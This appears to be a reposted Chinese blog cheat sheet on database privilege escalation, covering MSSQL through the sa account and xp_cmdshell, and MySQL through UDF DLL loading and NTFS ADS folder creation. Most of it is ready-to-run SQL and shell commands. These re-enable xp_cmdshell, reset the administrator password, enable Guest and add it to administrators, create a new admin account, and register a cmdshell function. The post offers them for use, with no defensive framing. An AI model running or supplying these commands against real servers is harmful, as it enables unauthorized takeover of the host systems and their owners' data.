【汇总】数据库提权(mysql、mssql)
2024-10-19 15:28:51
日期:2018-04-03 11:46:45
作者:Bay0net
介绍:利用 mssql 的 sa 账号提权、利用 MySQL 的 UDF 提权
0x01、mssql 提权
恢复 xp_cmdshell
几个命令
# 查看是否存在 xp_cmdshell(返回非 0 即存在)
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
# 不存在的话可以添加
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
# 查看是否开启了 xp_cmdshell(试试命令是否能成功)
Exec master..xp_cmdshell 'whoami';
命令执行
利用 sa 连接到服务器,然后执行命令
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
提示成功

然后利用 sqltools 直接执行命令。

也可以用 SQL 语句来执行命令,三种方式,一般都喜欢用第二种。
exec xp_cmdshell 'command';
exec master..xp_cmdshell 'command';
exec master.dbo.xp_cmdshell 'command';
修改 administrators 的密码,比较方便
exec xp_cmdshell 'net user administrator test123...';
修改 Guest 的权限
exec xp_cmdshell 'net user Guest test123...';
exec xp_cmdshell 'net user Guest /active:yes';
exec xp_cmdshell 'net localgroup administrators Guest /add';
新建用户
exec master..xp_cmdshell 'net user test test123... /add';
exec master..xp_cmdshell 'net localgroup administrators test /add';
0x02、MySQL 提权
上传 UDF
这一步和 MySQL
的版本有关系,不同版本上传的路径不一样,没有 lib
文件的话需要新建。
# 版本小于 5.1,上传到系统目录下
C:\\WINDOWS\\udf.dll
C:\\WINDOWS\\system32\\udf.dll
# 版本大于 5.1,上传到安装目录下
%mysql%\\plugin\\udf.dll
# 查询路径,后面加 udf.dll 即可
select @@plugin_dir
# 常用
# 查询用户
select user()
# 查询数据库版本
select version()
# 查询当前操作系统
select @@version_compile_os
# 查询读取数据库路径
select @@datadir
# 查询MYSQL安装路径
select @@basedir
# 查询 plugin 的路径
select @@plugin_dir
命令执行
Create Function cmdshell returns string soname 'udf.dll';
select cmdshell('ipconfig');
drop function cmdshell;
delete from mysql.func where name='cmdshell'
可以直接 UDF
提权工具搞,新建用户然后直接 3389 即可。
利用 NTFS ADS 写文件
使用 NTFS ADS
流创建 lib、plugin
文件夹:
如果遇到 Can't open shared library 的情况,
就需要把 udf.dll 导出到 lib\plugin 目录下才可以,但是默认情况下 plugin 不存在,就利用 NTFS ADS 流来创建文件夹。
select @@basedir; //查找mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
执行成功以后再进行导出即可。
最新文章
- HttpURLConnection类
- 【转】c# Image获得图片路径的三种方法 winform
- Android 录音器
- 日历插件My97DatePicker的使用
- 谈谈Delph中的类和对象2---类可以理解成一种特殊的数据结构、类型转换
- Volley获取网络图片使用总结
- 在vc中使用xtremetoolkit界面库-----安装及环境配置
- Callable 获取线程返回值
- /dev/shm(转)
- [置顶] vs2008 编译adb 支持4.2 android 系统(改进版)
- Outlook IMAP 修改PST文件存储路径
- [Swift]LeetCode822. 翻转卡片游戏 | Card Flipping Game
- 通过Socket让远程电脑执行脚本
- Http请求笔记
- python模块之collections random
- IDEA操作技巧与Tomcat集成
- Unix/Linux 查看文件大小
- 微信小程序 --- toast消息提示框
- hadoop之 Zookeeper 分布式应用程序协调服务
- Markov Process